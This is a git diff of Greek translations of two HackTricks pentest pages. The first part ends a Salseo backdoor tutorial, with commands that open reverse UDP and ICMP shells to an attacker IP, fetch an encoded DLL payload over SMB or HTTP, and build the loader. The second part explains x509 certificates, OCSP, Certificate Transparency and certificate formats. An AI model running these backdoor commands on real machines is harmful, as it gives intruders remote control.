Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και έναν διακομιστή SMB για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa (impacket-smbserver).
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατή αντίστροφου κελύφους και ένα διακομιστή SMB για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Λήψη ενός αντίστροφου κελύφους ICMP (κωδικοποιημένο dll ήδη μέσα στο θύμα)**
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το αντίστροφο κέλυφος. Λήψη:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το αντίστροφο κελύφους. Λήψη:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Απενεργοποίηση απαντήσεων ICMP:**
```
@ -114,27 +81,27 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Μεταγλώττιση του SalseoLoader ως DLL που εξάγει την κύρια συνάρτηση
## Συναρμολόγηση του SalseoLoader ως DLL εξαγωγής κύριας συνάρτησης
Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio.
### Προσθέστε πριν από την κύρια συνάρτηση: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Εγκαταστήστε το DllExport για αυτό το έργο
### Εγκατάσταση DllExport για αυτό το έργο
#### **Εργαλεία** --> **Διαχείριση πακέτων NuGet** --> **Διαχείριση πακέτων NuGet για τη λύση...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Αναζήτηση) και πατήστε Εγκατάσταση (και αποδεχθείτε το αναδυόμενο παράθυρο)**
#### **Αναζήτηση για το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Περιήγηση), και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Στον φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
Στο φάκελο του έργου σας εμφανίζονται τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
### **Απεγκατάσταση** του DllExport
### **Απεγκατάσταση DllExport**
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
@ -144,31 +111,31 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Απλά **βγείτε** από το Visual Studio
Στη συνέχεια, πηγαίνετε στον **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport\_Configure.bat**
Στη συνέχεια, πηγαίνετε στον φάκελο του **SalseoLoader** και **εκτελέστε το DllExport\_Configure.bat**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτή ήταν η περίπτωσή μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Πεδίο ονομάτων για το DllExport**) και πατήστε **Εφαρμογή**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, όπως στην περίπτωσή μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace for DllExport**) και πατήστε **Εφαρμογή**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **Ανοίξτε ξανά το έργο με το Visual Studio**
Το **\[DllExport]** δεν θα πρέπει πλέον να εμφανίζεται ως σφάλμα
Το **\[DllExport]** δε θα πρέπει πλέον να εμφανίζεται ως σφάλμα
![](<../.gitbook/assets/image (8) (1).png>)
### Κατασκευή της λύσης
Επιλέξτε **Τύπος εξόδου = Βιβλιοθήκη κλάσεων** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη κλάσεων)
Επιλέξτε **Τύπος Εξόδου = Βιβλιοθήκη κλάσεων** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη κλάσεων)
![](<../.gitbook/assets/image (10) (1).png>)
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Κατασκευή --> Προορισμός πλατφόρμας = x64)
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Κατασκευή --> Στόχος πλατφόρμας = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
Για να **κατασκευάσετε** τη λύση: Κατασκευή --> Κατασκευή λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή του νέου DLL)
Για να **κατασκευάσετε** τη λύση: Κατασκευή --> Κατασκευή Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή του νέου DLL)
### Δοκιμή του παραγόμενου Dll
### Δοκιμάστε το παραγόμενο Dll
Αντιγράψτε και επικολλήστε το Dll όπου θέλετε να το δοκιμάσετε.
@ -176,11 +143,11 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
rundll32.exe SalseoLoader.dll,main
```
Εάν δεν εμφανίζεται κανένα σφάλμα, πιθανώς να έχετε ένα λειτουργικό DLL!!
Αν δεν εμφανίζεται κάποιο σφάλμα, πιθανότατα έχετε ένα λειτουργικό DLL!!
## Λήψη κέλυφους χρησιμοποιώντας το DLL
Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **διακομιστή** και να ορίσετε έναν **nc** **ακροατή**
Μην ξεχάσετε να χρησιμοποιήσετε ένα **HTTP** **server** και να ορίσετε ένα **nc** **listener**
### Powershell
```
@ -193,7 +160,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
Το CMD (Command Prompt) είναι ένα παράθυρο εντολών που εκτελείται στο λειτουργικό σύστημα Windows. Χρησιμοποιείται για την εκτέλεση εντολών και την αλληλεπίδραση με το σύστημα αρχείων, τους φακέλους και τις εφαρμογές του υπολογιστή. Μπορεί να χρησιμοποιηθεί και για την εκτέλεση εντολών που σχετίζονται με την ασφάλεια και την πεντεστική διαδικασία. Οι εντολές CMD μπορούν να χρησιμοποιηθούν για τη δημιουργία, την ανάγνωση, την επεξεργασία και τη διαγραφή αρχείων και φακέλων, καθώς και για την εκτέλεση προγραμμάτων και την πρόσβαση σε διάφορες ρυθμίσεις του συστήματος. Είναι ένα ισχυρό εργαλείο που μπορεί να χρησιμοποιηθεί για διάφορες εργασίες στον υπολογιστή.
### Εντολή
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -204,14 +171,14 @@ rundll32.exe SalseoLoader.dll,main
```
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,47 +2,57 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Τι είναι ένα πιστοποιητικό
## Τι είναι ένα Πιστοποιητικό
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι ένα ψηφιακό αναγνωριστικό που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος είναι κάτοχος ενός δημόσιου κλειδιού. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του ιδιοκτήτη (το θέμα) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (ο εκδότης). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον ιδιοκτήτη του κλειδιού.
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι ένα ψηφιακό αναγνωριστικό που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τα στοιχεία του κλειδιού, την ταυτότητα του ιδιοκτήτη (το θέμα) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (ο εκδότης). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον ιδιοκτήτη του κλειδιού.
Τα πιστοποιητικά εκδίδονται κυρίως από [πιστοποιητικές αρχές](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε ένα περιβάλλον [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Ένας άλλος τρόπος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν απευθείας τα κλειδιά τους. Η κοινή μορφή για τα πιστοποιητικά είναι η [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες, όπως περιγράφεται στο RFC 5280.
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) σε ένα σύστημα [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Ένας άλλος τρόπος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web\_of\_trust), όπου οι χρήστες επαληθεύουν απευθείας τα κλειδιά τους. Η κοινή μορφή για τα πιστοποιητικά είναι το [X.509](https://en.wikipedia.org/wiki/X.509), το οποίο μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες, όπως περιγράφεται στο RFC 5280.
## Κοινά πεδία x509
## Κοινά Πεδία x509
### **Κοινά πεδία στα πιστοποιητικά x509**
### **Κοινά Πεδία στα Πιστοποιητικά x509**
Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμο ρόλο για την εγκυρότητα και την ασφάλεια του πιστοποιητικού. Εδώ υπάρχει μια ανάλυση αυτών των πεδίων:
Στα πιστοποιητικά x509, διάφορα **πεδία** παίζουν κρίσιμο ρόλο για τη διασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Εδώ υπάρχει μια ανάλυση αυτών των πεδίων:
- Ο αριθμός **Έκδοσης** υποδηλώνει την έκδοση της μορφής x509.
- Ο αριθμός **Σειράς** αναγνωρίζει μοναδικά το πιστοποιητικό εντός του συστήματος μιας Πιστοποιητικής Αρχής (CA), κυρίως για την παρακολούθηση ανάκλησης.
- Το πεδίο **Θέματος** αντιπροσωπεύει τον ιδιοκτήτη του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή μια οργάνωση. Περιλαμβάνει λεπτομερείς πληροφορίες, όπως:
- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S ή P)**, **Οργανισμός (O)** και **Μονάδα Οργανισμού (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
- Το **Διακριτικό Όνομα (DN)** ενθυλακώνει την πλήρη ταυτοποίηση του θέματος.
- Ο **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία με το Θέμα για την ΠΑ.
- Η **Περίοδος Ισχύος** σηματοδοτείται από τις χρονοσφραγίδες **Μη Πριν** και **Μη Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
- Η ενότητα **Δημόσιο Κλειδί**, η οποία είναι κρίσιμη για την ασφάλεια του πιστοποιητικού, κα
* Ο **Αριθμός Έκδοσης** υποδηλώνει την έκδοση της μορφής x509.
* Ο **Σειριακός Αριθμός** ταυτοποιεί μοναδικά το πιστοποιητικό εντός του συστήματος μιας Αρχής Πιστοποίησης (CA), κυρίως για την παρακολούθηση ανάκλησης.
* Το πεδίο **Θέμα** αντιπροσωπεύει τον ιδιοκτήτη του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή μια οργάνωση. Περιλαμβάνει λεπτομερείς ταυτοποιήσεις όπως:
* **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
* **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργανισμός (O)**, και **Μονάδα Οργάνωσης (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
* Το **Διακεκριμένο Όνομα (DN)** ενθυλακώνει την πλήρη ταυτοποίηση του θέματος.
* Ο **Εκδότης** λεπτομερείς ποιος επικύρωσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία με το Θέμα για την ΑΠ.
* Η **Περίοδος Εγκυρότητας** σημειώνεται από τις χρονικές σφραγίδες **Μην Πριν** και **Μη Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
* Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, καθορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
* Οι επεκτάσεις **x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, καθορίζοντας τις **Χρήσεις Κλειδιού**, τις **Επεκταμένες Χρήσεις Κλειδιού**, τα **Εναλλακτικά Ονόματα Θέματος**, και άλλες ιδιότητες για να ρυθμίσουν την εφαρμογή του πιστοποιητικού.
#### **Χρήση Κλειδιού και Επεκτάσεις**
* Η **Χρήση Κλειδιού** αναγνωρίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως η ψηφιακή υπογραφή ή η κρυπτογράφηση κλειδιού.
* Η **Επεκταμένη Χρήση Κλειδιού** στενεύει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ. για την επαλήθευση του διακομιστή TLS.
* Το **Εναλλακτικό Όνομα Θέματος** και η **Βασική Περιοριστική Συνθήκη** καθορίζουν επιπλέον ονόματα υποδομών που καλύπτονται από το πιστοποιητικό και εάν είναι πιστοποιητικό CA ή οντότητας τέλους, αντίστοιχα.
* Οι αναγνωριστές όπως το **Αναγνωριστικό Κλειδιού Θέματος** και το **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν τη μοναδικότητα και την εντοπισιμότητα των κλειδιών.
* Τα **Στοιχεία Πρόσβασης Αρχής** και τα **Σημεία Διανομής Καταλόγου Ανάκλησης** παρέχουν διαδρομές για την επαλήθευση της εκδίδουσας ΑΠ και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
* Τα **CT Precertificate SCTs** προσφέρουν διαφανείς καταγραφές, ουσιώδεις για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -64,199 +74,116 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Διαφορά μεταξύ OCSP και CRL Distribution Points**
### **Διαφορά μεταξύ σημείων διανομής OCSP και CRL**
Το **OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν ανταποκρίτη που συνεργάζονται για να ελέγξουν εάν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν το πλήρες **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από το παραδοσιακό **CRL**, το οποίο παρέχει μια λίστα με τους αριθμούς σειράς των ανακλημένων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Τα CRL μπορούν να περιλαμβάνουν έως και 512 καταχωρήσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν ανταποκρίνοντα που συνεργάζονται για να ελέγξουν εάν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς την ανάγκη να ληφθεί ολόκληρο το **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από το παραδοσιακό **CRL**, το οποίο παρέχει μια λίστα με τους αριθμούς σειριακής ανάκλησης πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Τα CRL μπορούν να περιλαμβάνουν έως 512 καταχωρήσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Τι είναι η Certificate Transparency**
### **Τι είναι η Διαφάνεια Πιστοποιητικών**
Η Certificate Transparency βοηθά στην καταπολέμηση απειλών που σχετίζονται με πιστοποιητικά, εξασφαλίζοντας ότι η έκδοση και η ύπαρξη των πιστοποιητικών SSL είναι ορατές για τους ιδιοκτήτες τομέα, τις αρχές πιστοποίησης και τους χρήστες. Οι στόχοι της είναι:
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση απειλών που σχετίζονται με πιστοποιητικά εξασφαλίζοντας ότι η έκδοση και η ύπαρξη πιστοποιητικών SSL είναι ορατές στους ιδιοκτήτες τομέα, τις Αρχές Πιστοποίησης και τους χρήστες. Οι στόχοι της είναι:
* Να αποτρέπει τις αρχές πιστοποίησης από το να εκδίδουν πιστοποιητικά SSL για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
* Να θεσπίσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που έχουν εκδοθεί κατά λάθος ή κακόβουλα.
* Να προστατεύει τους χρήστες από απάτες με πιστοποιητικά.
* Αποτροπή των Αρχών Πιστοποίησης από το να εκδίδουν πιστοποιητικά SSL για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
* Δημιουργία ενός ανοιχτού συστήματος ελέγχου για την παρακολούθηση πιστοποιητικών που έχουν εκδοθεί κατά λάθος ή κακόβουλα.
* Προστασία των χρηστών από απάτες με πιστοποιητικά.
#### **Αρχεία καταγραφής πιστοποιητικών**
#### **Καταγραφές Πιστοποιητικών**
Τα αρχεία καταγραφής πιστοποιητικών είναι δημόσια ελεγξίμα αρχεία με αποκλειστική εγγραφή πιστοποιητικών, τα οποία διατηρούνται από υπηρεσίες δικτύου. Αυτά τα αρχεία παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτά τα αρχεία ή να τα ερωτήσουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερο από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από αρχές πιστοποίησης, παροχείς υπηρεσιών Internet ή οποιοδήποτε ενδιαφερόμενο φορέα.
Οι καταγραφές πιστοποιητικών είναι δημόσια ελέγξιμες, αναπτυσσόμενες μόνο προς τα εμπρός εγγραφές πιστοποιητικών, διατηρούμενες από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για λόγους ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τις ερευνούν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότεροι από χίλιους παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από Αρχές Πιστοποίησης, παρόχους υπηρεσιών Internet ή οποιοδήποτε ενδιαφερόμενο φορέα.
#### **Ερώτημα**
Για να εξερευνήσετε τα αρχεία καταγραφής πιστοποιητικών Certificate Transparency για οποιονδήποτε τομέα, επισκεφθείτε το [https://crt.sh/](https://crt.sh).
Υπάρχουν διάφορες μορφές για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτό το σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους.
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιοδήποτε τομέα, επισκεφθείτε το [https://crt.sh/](https://crt.sh).
## **Μορφές**
### **Μορφή PEM**
- Η πιο διαδεδομένη μορφή για πιστοποιητικά.
- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
- Συνηθισμένες επεκτάσεις: .cer, .crt, .pem, .key.
- Χρησιμοποιείται κυρίως από τον Apache και παρόμοιους διακομιστές.
* Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά.
* Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
* Συνηθισμένες επεκτάσεις: .cer, .crt, .pem, .key.
* Χρησιμοποιείται κυρίως από διακομιστές Apache και παρόμοιους.
### **Μορφή DER**
- Μια δυαδική μορφή πιστοποιητικών.
- Δεν περιλαμβάνει τις δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται στα αρχεία PEM.
- Συνηθισμένες επεκτάσεις: .cer, .der.
- Χρησιμοποιείται συχνά με πλατφόρμες Java.
* Μια δυαδική μορφή πιστοποιητικών.
* Δεν περιλαμβάνει τις δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται στα αρχεία PEM.
* Συνηθισμένες επεκτάσεις: .cer, .der.
* Συχνά χρησιμοποιείται με πλατφόρμες Java.
### **Μορφή P7B/PKCS#7**
- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
- Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, χωρίς το ιδιωτικό κλειδί.
- Υποστηρίζεται από τα Microsoft Windows και Java Tomcat.
* Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
* Περιλαμβάνει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
* Υποστηρίζεται από τα Microsoft Windows και Java Tomcat.
### **Μορφή PFX/P12/PKCS#12**
- Μια δυαδική μορφή που ενθυλακώνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
- Επεκτάσεις: .pfx, .p12.
- Χρησιμοποιείται κυρίως στα Windows για την εισαγωγή και εξαγωγή πιστοποιητικών.
### **Μετατροπή μορφών**
Οι **μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα:
- **x509 σε PEM**
* Μια δυαδική μορφή που ενθυλακώνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
* Επεκτάσεις: .pfx, .p12.
* Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών.
